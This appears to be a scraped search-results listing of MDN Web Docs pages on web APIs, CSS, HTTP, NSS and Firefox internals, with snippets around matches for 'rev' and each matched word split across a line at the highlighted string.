revious code block can be replaced with this: <script> import mystore from './stores.js' </script> {$mystore} and $mystore will be fully reactive.
...we'll also take care of clearing the timeout when the alert component is unmounted to p
revent memory leaks.
...And 2 more matches
Implementing feature detection - Learn web development
p
revious overview: cross browser testing next feature detection involves working out whether a browser supports a certain block of code, and running different code depending on whether it does (or doesn't), so that the browser can always provide a working experience rather than crashing/erroring in some browsers.
... for example, we could rewrite our p
revious example to use @supports — see supports-feature-detect.html and supports-styling.css.
... @supports also has or and not logic available — the other block applies the float layout if the flexbox properties are not available: @supports not (flex-flow: row) and (flex: 1) { /* rules in here */ } this may look a lot more convenient than the p
revious example — we can do all of our feature detection in css, no javascript required, and we can handle all the logic in a single css file, cutting down on http requests.
...And 2 more matches
Using the Browser API
when you press the keyboard's return button, the 'submit' event is fired, which we handle like this: urlform.addeventlistener('submit',function(e) { e.p
reventdefault(); browser.src = urlbar.value; urlbar.blur(); }); we first call p
reventdefault() to stop the form just submitting and reloading the page — which is really not what we want.
...then, we disable the "p
revious" and "next" search item buttons so that they don't run anything unless there are search items to cycle between.
... var searchactive = false; p
rev.disabled = true; next.disabled = true; next, we add an event listener to the searchform so that when it is submitted, the htmliframeelement.findall() method is used to do a search for the string entered into the search input element (searchbar) within the text of the current page (the second parameter can be changed to 'case-insensitive' if you want a case-insensitive search.) we then enable the p
revious and next buttons, set searchactive to true, and blur() the search bar to make the keyboard disappear and stop taking up our screen once the search is submitted.
...And 2 more matches
Profiling with the Firefox Profiler
as you zoom in on ranges, breadcrumbs are created allowing you to easily navigate back to p
reviously-selected ranges or the entire profile (denoted as "full range").
... tip: while zooming out to a p
reviously-selected range deletes the narrower range, the browser back button can be used to restore the narrower range.
...so, for example, when a thread is blocked, like 'geckomain [tab]', on a thread like 'geckomain [default]', we can see what's occurring on the latter thread that is p
reventing it from responding to the former.
...And 2 more matches
NSS 3.12.4 release notes
currently nss 3.12.4 is in the "
review pending" state in the fips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h).
... 470500: firefox 3.1b2 crash report [[@ nssutil3.dll@0x34c0 ] bug 482742: enable building util independently of the rest of nss bug 483653: unable to build certutil.exe for fennec/wince bug 485145: miscellaneous crashes in signtool on windows bug 485155: nss_enable_pkix_verify=1 causes sec_error_unknown_issuer errors bug 485527: rename the _x86_ macro in lib/freebl bug 485658: vfychain -p reports
revoked cert bug 485745: modify fipstest.c to support cavs 7.1 drbg testing bug 486304: cert7.db/cert8.db corruption when importing a large certificate (>64k) bug 486405: allocator mismatches in pk12util.c bug 486537: disable execstack in freebl x86_64 builds on linux bug 486698: facilitate the building of major components independently and in a chain manner by downstream distributions bug 486999: ca...
...lling ssl_setsockpeerid a second time leaks the p
revious value bug 487007: make lib/jar conform to nss coding style bug 487162: ckfw/capi build failure on windows bug 487239: nssutil.rc doesn't compile on wince bug 487254: sftkmod.c uses posix file io functions on wince bug 487255: sdb.c uses posix file io functions on wince bug 487487: cert_nametoascii reports !invalid ava!
...And 2 more matches
NSS Developer Tutorial
whether such a change is safe needs to be
reviewed on a case-by-case basis.
... nss
review/feature approval process nss doesn’t have 'super
reviewers'.
... one
review is usually enough for the
review to pass.
...And 2 more matches
NSS PKCS11 Functions
the module should have p
reviously been loaded by secmod_loadusermodule.
...optimizespace - allocate smaller hash tables and lock tables.when this flag is not specified, softoken will allocatelarge tables to p
revent lock contention.
...to retrieve its current value, use ssl_
revealpinarg.
...And 2 more matches
NSS_3.12.3_release_notes.html
in anticipation of that, the nss team has provided ways to easily cause nss to
revert to its p
revious behavior through the use of environment variables.
... bug 394077: libpkix need to return
revocation status of a cert bug 412468: modify certutil bug 417092: modify pkix_certselector api to return an error if cert was rejected.
... bug 472319: vfychain validates chain even if
revoked certificate.
...And 2 more matches
Hacking Tips
(gdb) x /5i $pc - 1 0x7ffff7fb1659: int3 => 0x7ffff7fb165a: mov 0x28(%rsp),%rax 0x7ffff7fb165f: mov %eax,%ecx 0x7ffff7fb1661: mov 0x30(%rsp),%rdx 0x7ffff7fb1666: mov %edx,%ebx (gdb) # replace the int3 by a nop (gdb) set *(unsigned char *) ($pc - 1) = 0x90 (gdb) x /1i $pc - 1 0x7ffff7fb1659: nop (gdb) # set a breakpoint at the p
revious location (gdb) b *0x7ffff7fb1659 breakpoint 2 at 0x7ffff7fb1659 printing ion generated assembly code (from gdb) if you want to look at the assembly code generated by ionmonkey, you can follow this procedure: place a breakpoint at codegenerator.cpp on the codegenerator::link method.
... (gdb) bt #0 0x00000000007eaad4 in js::inlinelist<js::jit::mbasicblock>::begin() const (this=0x33dbbc0) at …/js/src/jit/inlinelist.h:280 #1 0x00000000007cb845 in js::jit::mirgraph::begin() (this=0x33dbbc0) at …/js/src/jit/mirgraph.h:787 #2 0x0000000000837d25 in js::jit::buildphi
reversemapping(js::jit::mirgraph&) (graph=...) at …/js/src/jit/ionanalysis.cpp:2436 #3 0x000000000083317f in js::jit::optimizemir(js::jit::mirgenerator*) (mir=0x33dbdf0) at …/js/src/jit/ion.cpp:1570 … (gdb) frame 3 #3 0x000000000083317f in js::jit::optimizemir(js::jit::mirgenerator*) (mir=0x33dbdf0) at …/js/src/jit/ion.cpp:1570 (gdb) iongraph mir function 0 (asm.js compilation): success; 1...
...ument(nsrect const&, unsigned int, unsigned int, gfxcontext*)' set print object on set $x = <your x value> set $y = <your y value> print &((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).data[$y * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).stride + $x * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).depth / 8] watch *(char*)<address of p
revious command> (note: if you set a watch on the p
revious expression gdb will watch the expression and run out of watchpoint) rr with emacs within emacs, do m-x gud-gdb and replace the command line with rr replay.
...And 2 more matches
SpiderMonkey 1.8.7
on other platforms, the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... spidermonkey 1.8.7 is not binary-compatible with p
revious releases, nor is it source-code compatible.
...p
revious spidermonkey versions usually represented integer values smaller than 2^31 as jsvals encoding jsint; e.g.
...And 2 more matches
SpiderMonkey 38
it continues to improve performance over p
revious spidermonkey releases, with xxx blah blah blah.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... xxx list removed features here spidermonkey 38 is not binary-compatible with p
revious releases, nor is it source-code compatible.
...And 2 more matches
Shell global objects
this hook is used to look up a p
reviously loaded module object.
... printprofile
revents() register a callback with the profiler that prints javascript profiler events to stderr.
... setpromiserejectiontrackercallback() sets the callback to be invoked whenever a promise rejection is unhandled or a p
reviously-unhandled rejection becomes handled.
...And 2 more matches
nsIAnnotationService
methods setpageannotation() this method sets an annotation for given uri, overwriting any p
revious annotation with the same url/name.
... setitemannotation() this method sets an annotation for given item, overwriting any p
revious annotation with the same url/name.
... setpageannotationstring() this method sets an annotation for given uri by taking a string as input value, overwriting any p
revious annotation with the same url/name.
...And 2 more matches
nsIAutoCompleteInput
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring getsearchat(in unsigned long index); void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontext
reverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set, this will optionally try to complete the text in the textbox to the entire text of the result at the default index as the user types.
...return value return true to p
revent handling the selection.
... ontext
reverted() called when the user cancels the autocomplete session.
...And 2 more matches
nsITextInputProcessor
key_default_p
revented 0x00000001 one of akeyflags.
... when this is specified, defaultp
revented attribute of dispatching keyboard events true.
...therefore, this can p
revent non-printable key events to cause dispatching as printable keyboard events and you can detect the registered key name change from the thrown exception.
...And 2 more matches
Thunderbird Binaries
described below are three types of generally available thunderbird packages - releases, early p
review releases, and nightly builds (including trunk development builds) - and their downloaded locations.
... thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early p
review releases whilst writing new versions of thunderbird, developers release p
review versions, known as betas.
... note: while beta builds have had some testing, they should be considered p
review only and should not be used in a production environment.
...And 2 more matches
WebIDL bindings
this is a signal that you need to get a
review from a dom peer.
... resist the urge to just add your interfaces to the moz.build list without the
review; it will just annoy the dom peers and they'll make you get the
review anyway.
...if areportexceptions is set to erethrowexceptions, js exceptions will be stashed in the errorresult and will be reported when the stack unwinds to whe
rever the errorresult was set up.
...And 2 more matches
Mozilla
bugzilla bugzilla.mozilla.org (often abb
reviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects.
...or, alternatively, the conditions can be
reversed (a != test rather than an == test).
... signing mozilla apps for mac os x mac os x's gatekeeper functionality p
revents users from launching applications that haven't been code-signed, in order to help keep their computers secure.
...And 2 more matches
Debugger.Frame - Firefox Developer Tools
similarly, walking the stack back to a p
reviously accessed frame yields the same frame object as before.
... visible frames when inspecting the call stack, debugger does not
reveal all the frames that are actually present on the stack: while it does
reveal all frames running debuggee code, it omits frames running the debugger’s own code, and omits most frames running non-debuggee code.
... we call those stack frames a debugger does
reveal visible frames.
...And 2 more matches
All keyboard shortcuts - Firefox Developer Tools
command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to p
revious node up arrow up arrow up arrow move to first node in the tree.
...+ f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into view s s s find the next match in the markup, when searching is active enter return enter find the p
revious match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused.
... command windows macos linux move to the p
revious element in the breadcrumbs bar left arrow left arrow left arrow move to the next element in the breadcrumbs bar right arrow right arrow right arrow focus the html pane shift + tab shift + tab shift + tab focus the css pane tab tab tab css pane these shortcuts work when you're in the inspector's css pane.
...And 2 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
*/ function is_ignorable( nod ) { return ( nod.nodetype == 8) || // a comment node ( (nod.nodetype == 3) && is_all_ws(nod) ); // a text node, all ws } /** * version of |p
revioussibling| that skips nodes that are entirely * whitespace or comments.
... (normally |p
revioussibling| is a property * of all dom nodes that gives the sibling node, the node that is * a child of the same parent, that occurs immediately before the * reference node.) * * @param sib the reference node.
... * @return either: * 1) the closest p
revious sibling to |sib| that is not * ignorable according to |is_ignorable|, or * 2) null if no such node exists.
...And 2 more matches
Event.returnValue - Web APIs
the event property returnvalue indicates whether the default action for this event has been p
revented or not.
...setting this property to false p
revents the default action.
...you should use p
reventdefault(), and defaultp
revented instead of this historical property.
...And 2 more matches
HTMLElement.focus() - Web APIs
this object may contain the following property: p
reventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view.
... a value of false for p
reventscroll (the default) means that the browser will scroll the element into view after focusing it.
... if p
reventscroll is set to true, no scrolling will occur.
...And 2 more matches
Intersection Observer API - Web APIs
reporting of visibility of advertisements in order to calculate ad
revenues.
... const numsteps = 20.0; let boxelement; let p
revratio = 0.0; let increasingcolor = "rgba(40, 40, 190, ratio)"; let decreasingcolor = "rgba(190, 40, 40, ratio)"; // set things up window.addeventlistener("load", (event) => { boxelement = document.queryselector("#box"); createobserver(); }, false); the constants and variables we set up here are: numsteps a constant which indicates how many thresholds we want to have between a visibility...
... p
revratio this variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible.
...And 2 more matches
KeyboardEvent.getModifierState() - Web APIs
if (event.getmodifierstate("control") + event.getmodifierstate("alt") + event.getmodifierstate("meta") > 1) { return; } // handle shortcut key with standard modifier if (event.getmodifierstate("accel")) { switch (event.key.tolowercase()) { case "c": if (event.getmodifierstate("shift")) { // handle accel + shift + c event.p
reventdefault(); // consume the key event } break; case "k": if (!event.getmodifierstate("shift")) { // handle accel + k event.p
reventdefault(); // consume the key event } break; } return; } // do somethig different for arrow keys if scrolllock is locked.
... if ((event.getmodifierstate("scrolllock") || event.getmodifierstate("scroll") /* hack for ie */) && !event.getmodifierstate("control") && !event.getmodifierstate("alt") && !event.getmodifierstate("meta")) { switch (event.key) { case "arrowdown": case "down": // hack for ie and old gecko event.p
reventdefault(); // consume the key event break; case "arrowleft": case "left": // hack for ie and old gecko // do something different if scrolllock is locked.
... event.p
reventdefault(); // consume the key event break; case "arrowright": case "right": // hack for ie and old gecko // do something different if scrolllock is locked.
...And 2 more matches
PerformanceTiming - Web APIs
performancetiming.navigationstart read only when the prompt for unload terminates on the p
revious document in the same browsing context.
... if there is no p
revious document, this value will be the same as performancetiming.fetchstart.
... performancetiming.unloadeventstart read only when the unload event has been thrown, indicating the time at which the p
revious document in the window began to unload.
...And 2 more matches
Pinch zoom gestures - Web APIs
// global vars to cache event state var evcache = new array(); var p
revdiff = -1; register event handlers event handlers are registered for the following pointer events: pointerdown, pointermove and pointerup.
...t in the cache and update its record with this event for (var i = 0; i < evcache.length; i++) { if (ev.pointerid == evcache[i].pointerid) { evcache[i] = ev; break; } } // if two pointers are down, check for pinch gestures if (evcache.length == 2) { // calculate the distance between the two pointers var curdiff = math.abs(evcache[0].clientx - evcache[1].clientx); if (p
revdiff > 0) { if (curdiff > p
revdiff) { // the distance between the two pointers has increased log("pinch moving out -> zoom in", ev); ev.target.style.background = "pink"; } if (curdiff < p
revdiff) { // the distance between the two pointers has decreased log("pinch moving in -> zoom out",ev); ev.target.style.background = "lightblue"; } ...
... } // cache the distance for the next move event p
revdiff = curdiff; } } pointer up the pointerup event is fired when a pointer is raised from the contact surface.
...And 2 more matches
RTCPeerConnection - Web APIs
such an event is sent when an identity assertion is generated, via getidentityassertion() or during the creation of an offer or an answer.onidpassertionerror the rtcpeerconnection.onidpassertionerror event handler is a property containing the code to execute whent the idpassertionerror event, of type rtcidentityerro
revent, is received by this rtcpeerconnection.
... such an event is sent when the associated identity provider (idp) encounters an error while generating an identity assertion.onidpvalidationerror the rtcpeerconnection.onidpvalidationerror event handler is a property containing the code to execute whent the idpvalidationerror event, of type rtcidentityerro
revent, is received by this rtcpeerconnection.
... icecandidateerror an error of type rtcpeerconnectioniceerro
revent which is sent to the connection if an error occurred during ice candidate gathering.
...And 2 more matches
SVGTransformList - Web APIs
if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...And 2 more matches
Screen Wake Lock API - Web APIs
the screen wake lock api provides a way to p
revent devices from dimming or locking the screen when an application needs to keep running.
... the screen wake lock api p
revents the screen from turning off, dimming or locking.
... screen wake lock api interfaces wakelock the wakelock interface p
revents device screens from dimming or locking when an application needs to keep running.
...And 2 more matches
Matrix math for the web - Web APIs
when matrices of a certain class are multiplied together they preserve the history of the transformations and are
reversible.
... this means that if a translation, rotation, and scale matrix are all combined together, when the order of the matrices is
reversed and re-applied then the original points are returned.
... another mind-bender is that matrix multiplication in webgl and css needs to happen in the
reverse order that the operations intuitively happen.
...And 2 more matches
Using shaders to apply color in WebGL - Web APIs
« p
reviousnext » having created a square plane in the p
revious demonstration, the next obvious step is to add a splash of color to it.
... we can do this by
revising the shaders.
...p
reviously, our vertex shader didn't apply any specific colors to the vertices.
...And 2 more matches
Using textures in WebGL - Web APIs
« p
reviousnext » now that our sample program has a rotating 3d cube, let's map a texture onto it instead of having its faces be solid colors.
...gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); // p
revents s-coordinate wrapping (repeating).
... gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); // p
revents t-coordinate wrapping (repeating).
...And 2 more matches
WebRTC API - Web APIs
error an rtcerro
revent indicating that an error occurred on the data channel.
... error an rtcerro
revent indicating that an error occurred on the rtcdtlstransport.
... icecandidateerror an rtcpeerconnectioniceerro
revent indicating that an error has occurred while gathering ice candidates.
...And 2 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
once you've determined the matrix representing the combination of movements you wish the camera to make, you need to
reverse it, because you're not moving the camera.
...using the glmatrix library we've used p
reviously, this can be performed using the rotatey() method on the mat4 class, which represents a standard 4x4 matrix.
...p
reviously, we performed our translations like this: mat4.translate(viewmatrix, viewmatrix, [-trackdistance, 0, 0]); mat4.translate(viewmatrix, viewmatrix, [0, -pedestaldistance, 0]); mat4.translate(viewmatrix, viewmatrix, [0, 0, dollyydistance]); the solution here is obvious.
...And 2 more matches
Geometry and reference spaces in WebXR - Web APIs
const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to p
revent it from being used in fingerprinting and timing-based attacks.
... time is primarily used to determine the amount of time that's elapsed since the scene's p
revious animation frame was drawn.
...in virtual reality (vr), it's all about creating a sense of space in which the user's movements are precisely matched by the imagery presented on the virtual display, to p
revent disjoints and disconnects that could cause discomfort or worse.
...And 2 more matches
Rendering and the WebXR frame animation callback - Web APIs
tearing occurs when the the display hardware starts the next refresh cycle while the p
revious frame is still being drawn to the screen.
... as a result, you wind up with the visual effect of the top part of the screen showing the new frame, while the bottom part of the frame shows some combination of the p
revious frame and possibly even the frame before that one.
... we then get the xrviewerpose object that describes the viewer's pose—their position and orientation—using the frame's getviewerpose() method, passing in the viewer's reference space from the viewerrefspace p
reviously obtained while setting up the webxr session.
...And 2 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
this commonly happens when your user interface provides a way to p
review the scene inline within the context of a web page, with a button or other control to switch to immersive mode.
... let p
reviousviewerpose = null; function mydrawframe(currentframetime, frame) { let session = frame.session; let viewerpose = frame.getviewerpose(viewerrefspace); animationframerequestid = session.requestanimationframe(mydrawframe); if (viewerpose) { if (!p
reviousviewerpose) { p
reviousviewerpose = viewerpose; } let offsetmatrix = mat4.create(); mat4.sub(offsetmatrix, p
revi...
...ousviewerpose.transform.matrix, viewerpose.transform.matrix); p
reviousviewerpose = viewerpose; } } continuity and recovery after tracking loss sometimes, while the user is actively using their xr hardware with your app, the flow of data containing updates as to the user's position and orientation might be lost for a period of time.
...And 2 more matches
Window - Web APIs
window.customelements read only returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about p
reviously registered custom elements.
... window.cancelanimationframe() enables you to cancel a callback p
reviously scheduled with window.requestanimationframe.
... window.cancelidlecallback() enables you to cancel a callback p
reviously scheduled with window.requestidlecallback.
...And 2 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
you can try this out in the example below, which has a flex container with flex-direction: column yet otherwise is exactly the same as the p
revious example.
... alignment and flex-direction the start line will also change if you change the flex-direction property — for example using row-
reverse instead of row.
... in this next example i have items laid out with flex-direction: row-
reverse and justify-content: flex-end.
...And 2 more matches
all - CSS: Cascading Style Sheets
syntax /* global values */ all: initial; all: inherit; all: unset; /* css cascading and inheritance level 4 */ all:
revert; the all property is specified as one of the css global keyword values.
...
revert specifies behavior that depends on the stylesheet origin to which the declaration belongs: user-agent origin equivalent to unset.
...for purposes of
revert, the author origin includes the override and animation origins.
...And 2 more matches
box-direction - CSS: Cascading Style Sheets
the -moz-box-direction will only be used for xul while the p
revious standard box-direction has been replaced by flex-direction.
... the box-direction css property specifies whether a box lays out its contents normally (from the top or left edge), or in
reverse (from the bottom or right edge).
... /* keyword values */ box-direction: normal; box-direction:
reverse; /* global values */ box-direction: inherit; box-direction: initial; box-direction: unset; syntax the box-direction property is specified as one of the keyword values listed below.
...And 2 more matches
writing-mode - CSS: Cascading Style Sheets
the next horizontal line is positioned below the p
revious line.
... vertical-rl for ltr scripts, content flows vertically from top to bottom, and the next vertical line is positioned to the left of the p
revious line.
... for rtl scripts, content flows vertically from bottom to top, and the next vertical line is positioned to the right of the p
revious line.
...And 2 more matches
Video player styling basics - Developer guides
in the p
revious cross browser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis.
... html markup there are a few changes that were made to the html markup shown in the p
revious article.
... <span id="progress-bar"></span> </progress> </div> <button id="mute" type="button" data-state="mute">mute/unmute</button> <button id="volinc" type="button" data-state="volup">vol+</button> <button id="voldec" type="button" data-state="voldown">vol-</button> <button id="fs" type="button" data-state="go-fullscreen">fullscreen</button> </div> related css alteration the p
revious article simply set the display property of the video controls to block in order to display them.
...And 2 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
while we won't use every single property mentioned p
reviously, we'll look at a couple of examples.
... css we'll look at the css to create the above results a piece at a time, so we can
review the interesting parts one by one.
...it's configured to float the box to the right so that it appears next to the p
revious box.
...And 2 more matches
Standard metadata names - HTML: Hypertext Markup Language
accessibility concerns with viewport scaling disabling zooming capabilities by setting user-scalable to a value of no p
revents people experiencing low vision conditions from being able to read and understand page content.
... google, yahoo, bing nosnippet p
revents displaying any description of the page in search engine results.
...do not expect to p
revent e-mail harvesters with them.
...And 2 more matches
HTTP conditional requests - HTTP
such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when p
reventing to lose updates when uploading or modifying a document on the server.
... integrity of a partial download partial downloading of files is a functionality of http that allows to resume p
revious operations, saving bandwidth and time, by keeping the already obtained information: a server supporting partial downloads broadcasts this by sending the accept-ranges header.
... to p
revent this, conditional requests are used.
...And 2 more matches
Using HTTP cookies - HTTP
a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all p
reviously stored cookies to the server using the cookie header.
...this technique helps p
revent session fixation attacks, where a third party can reuse a user's session.
...however, do not assume that secure p
revents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk.
...And 2 more matches
Network Error Logging - HTTP
http 400 (bad request) response { "age": 20, "type": "network-error", "url": "https://example.com/p
revious-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/p
revious-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dn...
... { "age": 20, "type": "network-error", "url": "https://example.com/p
revious-page", "body": { "elapsed_time": 18, "method": "post", "phase": "dns", "protocol": "http/1.1", "referrer": "https://example.com/p
revious-page", "sampling_fraction": 1, "server_ip": "", "status_code": 0, "type": "dns.name_not_resolved", "url": "https://example-host.com/" } } the type of the network error may be one of the following pre-defined values from the specification, but browsers can add and send their own error types: dns.unreachable the user's dns server is unreachable dns.name_not_resolved the user's dns server responded but was unable to resolve an ip address for the requested uri.
... dns.failed request to the dns server failed due to reasons not covered by p
revious errors (e.g.
...And 2 more matches
Proxy servers and tunneling - HTTP
there are two types of proxies: forward proxies (or tunnel, or gateway) and
reverse proxies (used to control and protect access to a server for load-balancing, authentication, decryption or caching).
...
reverse proxies as the name implies, a
reverse proxy does the opposite of what a forward proxy does: a forward proxy acts in behalf of clients (or requesting hosts), a
reverse proxy acts in behalf of servers.
... forward proxies can hide the identities of clients whereas
reverse proxies can hide the identities of servers.
...And 2 more matches
HTTP response status codes - HTTP
305 use proxy defined in a p
revious version of the http specification to indicate that a requested response must be accessed by a proxy.
...it was used in a p
revious version of the http/1.1 specification.
... 408 request timeout this response is sent on an idle connection by some servers, even without any p
revious request by the client.
...And 2 more matches
Details of the object model - JavaScript
« p
reviousnext » javascript is an object-based language based on prototypes, rather than being class-based.
...some subtleties of this process are discussed in property inheritance
revisited.
...this chapter uses this idiom for b
revity; however, it can be puzzling at first glance.
...And 2 more matches
TypeError: can't define property "x": "obj" is not extensible - JavaScript
the javascript exception "can't define property "x": "obj" is not extensible" occurs when object.p
reventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
...however, in this case object.p
reventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
... 'use strict'; var obj = {}; object.p
reventextensions(obj); obj.x = 'foo'; // typeerror: can't define property "x": "obj" is not extensible in both, strict mode and sloppy mode, a call to object.defineproperty() throws when adding a new property to a non-extensible object.
...And 2 more matches
TypedArray.prototype.reduce() - JavaScript
syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: p
reviousvalue the value p
reviously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduce method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the p
revious callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
... the first time the callback is called, p
reviousvalue and currentvalue can be one of two values.
...And 2 more matches
Lexical grammar - JavaScript
unicode format-control characters code point name abb
reviation description u+200c zero width non-joiner <zwnj> placed between characters to p
revent being connected into ligatures in certain languages (wikipedia).
... white space characters code point name abb
reviation description escape sequence u+0009 character tabulation <ht> horizontal tabulation \t u+000b line tabulation <vt> vertical tabulation \v u+000c form feed <ff> page breaking control character (wikipedia).
... line terminator characters code point name abb
reviation description escape sequence u+000a line feed <lf> new line character in unix systems.
...And 2 more matches
Authoring MathML - MathML
for example, the xhtml version of the p
revious example looks like this: <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1 plus mathml 2.0//en" "http://www.w3.org/math/dtd/mathml2/xhtml-math11-f.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>xhtml+mathml example</title> </head> <body> <h1>xhtml+mathml example</h1> <p> square root of two: <math xmlns="http://www.w3.org/19...
...even if your browser supports mathml, your webmail may p
revent you to send or receive mails with mathml inside.
...one of the advantage of jqmath over the p
revious scripts is that it will automatically add some simple css rules to do the mathematical layout and make the formulas readable on browsers with limited mathml support.
...And 2 more matches
Navigation and resource timings - Web Performance
the order is: performance timings details navigationstart when the prompt for unload terminates on the p
revious document in the same browsing context.
... if there is no p
revious document, this value will be the same as performancetiming.fetchstart.
... unloadeventstart when the unload> event has been thrown, indicating the time at which the p
revious document in the window began to unload.
...And 2 more matches
orient - SVG: Scalable Vector Graphics
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-
reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <...
...polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-
reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
... auto-start-
reverse if placed by marker-start, the marker is oriented 180° different from the orientation that would be used if auto where specified.
...And 2 more matches
Scripting - SVG: Scalable Vector Graphics
one can override default browser behaviors with the evt.p
reventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", "").
... p
reventing default behavior in event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging.
... or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, which is to go back to the p
revious page.
...And 2 more matches
Interacting with page scripts - Archive of obsolete content
expose objects to page scripts until firefox 30, you could use unsafewindow to perform the
reverse procedure, and make objects defined in content scripts available to page scripts: // content-script.js unsafewindow.contentscriptobject = {"greeting" : "hello from add-on"}; // page-script.js var button = document.getelementbyid("show-content-script-var"); button.addeventlistener("click", function() { // access object defined by content script console.log(window.contentscriptobject.
...now the page script can call the function as foo.greetme(): <html> <head> </head> <body> <input id="test" type="button" value="click me"/> <script> var test = document.getelementbyid("test"); test.addeventlistener("click", function() { alert(window.foo.greetme("page script")); }, false); </script> </body> </html>
reverting to the old behavior you can switch firefox back to the old behavior in which content scripts could expose objects and functions to page scripts using unsafewindow.
... listen for messages from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventlistener('message', function(event) { window.alert(event.data); // message from content script }, false); </script> </body> </html> page script to content script sending messages from the page script to the content script is just the same, but in
reverse.
... sendcustomevent() { var greeting = {"greeting" : "hello world"}; var cloned = cloneinto(greeting, document.defaultview); var event = new customevent("addon-message", { bubbles: true, detail: cloned }); document.documentelement.dispatchevent(event); } page script to content script sending messages using custom dom events from the page script to the content script is just the same, but in
reverse.
Content Scripts - Archive of obsolete content
this makes your code easier to maintain, secure, debug and
review.
...this makes your code easier to maintain, secure, debug and
review.
... the same applies in
reverse: page scripts can't see javascript objects added by content scripts.
...'], contentscriptfile: self.data.url("content-script.js"), onattach: startlistening }); function startlistening(worker) { worker.port.on('click', function(html) { worker.port.emit('warning', 'do not click this again'); }); } // content-script.js window.addeventlistener('click', function(event) { self.port.emit('click', event.target.tostring()); event.stoppropagation(); event.p
